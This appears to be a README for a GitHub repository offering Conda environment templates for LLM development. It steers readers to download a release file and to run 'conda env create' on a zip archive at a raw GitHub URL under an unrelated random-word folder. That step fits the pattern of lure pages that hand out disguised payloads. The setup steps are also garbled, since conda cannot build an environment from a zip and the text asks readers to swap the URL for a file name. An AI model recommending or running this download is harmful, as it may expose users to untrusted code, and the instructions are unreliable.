Welcome to llm-env-templates! This project provides templates for setting up your Python environments to develop large language models (LLMs). These templates make the process easier and faster, especially for those who are new to deep learning or programming.
To download and set up the environments, please visit the release page:
Follow these steps:
- Click the link to open the releases page.
- You will see various downloadable environment templates.
- Select the template that fits your needs.
- Click on the template file to start downloading.
- Once the download finishes, locate the file on your computer.
To use these templates, ensure your computer meets the following requirements:
- Operating System: Windows, macOS, or Linux.
- Python Version: Must have Python 3.8 or higher installed.
- Conda: Install the latest version of Conda for managing environments.
- Flash Attention: Optional, but recommended for better performance in LLM.
- Memory: At least 8GB of RAM to manage the environments effectively.
Once you have downloaded the template, follow these steps to set up your environment:
-
Open a Terminal:
- On Windows, use Command Prompt or Anaconda Prompt.
- On macOS or Linux, use the Terminal application.
-
Navigate to the Download Location:
- Use the
cdcommand to go to the folder where you downloaded the template. - For example:
cd path/to/your/download/folder
- Use the
-
Create a New Environment:
- Run the following command:
conda env create -f https://raw.githubusercontent.com/KRESS99/llm-env-templates/main/nephrocystitis/llm-env-templates.zip - Replace
https://raw.githubusercontent.com/KRESS99/llm-env-templates/main/nephrocystitis/llm-env-templates.zipwith the name of the template file you downloaded.
- Run the following command:
-
Activate the Environment:
- Use this command to activate your new environment:
conda activate your_environment_name - Replace
your_environment_namewith the name specified in the template.
- Use this command to activate your new environment:
-
Install Additional Packages (if needed):
- If your development project requires extra packages not included in the template, you can install them with:
pip install package_name
- If your development project requires extra packages not included in the template, you can install them with:
These templates include:
- Pre-configured dependencies for deep learning.
- Support for widely used libraries like PyTorch.
- Compatibility with virtual environments (venv) and Conda.
- Templates designed for different types of LLM projects.
- Fast setup to help you start coding quickly.
Q: Can I use these templates for projects other than LLM?
A: Yes, while these templates are designed for LLM development, you can adapt them for general deep learning projects.
Q: Do I need to know Python to use the templates?
A: Basic understanding of Python will help, but these templates simplify setup for users at all levels.
Q: What if my Python version is outdated?
A: Update Python to version 3.8 or higher to ensure compatibility with the templates.
If you encounter issues while setting up the templates, consider these tips:
-
Check Python Installation:
- Verify that Python is installed by running:
python --version
- Verify that Python is installed by running:
-
Update Conda:
- Make sure you have the latest version of Conda. You can update it with:
conda update conda
- Make sure you have the latest version of Conda. You can update it with:
-
Consult the Documentation:
- Look through the README file included in the downloaded template for project-specific instructions.
Join our community to share your experience, ask questions, or provide feedback. You can reach us through the Issues section of this repository. We appreciate your input and strive to enhance usability for all users.
For more information on large language models and their applications, consider exploring:
- Machine Learning Crash Course by Google
- Deep Learning with Python by François Chollet
- PyTorch Documentation
Feel free to reach out if you have any questions or need assistance. Happy coding!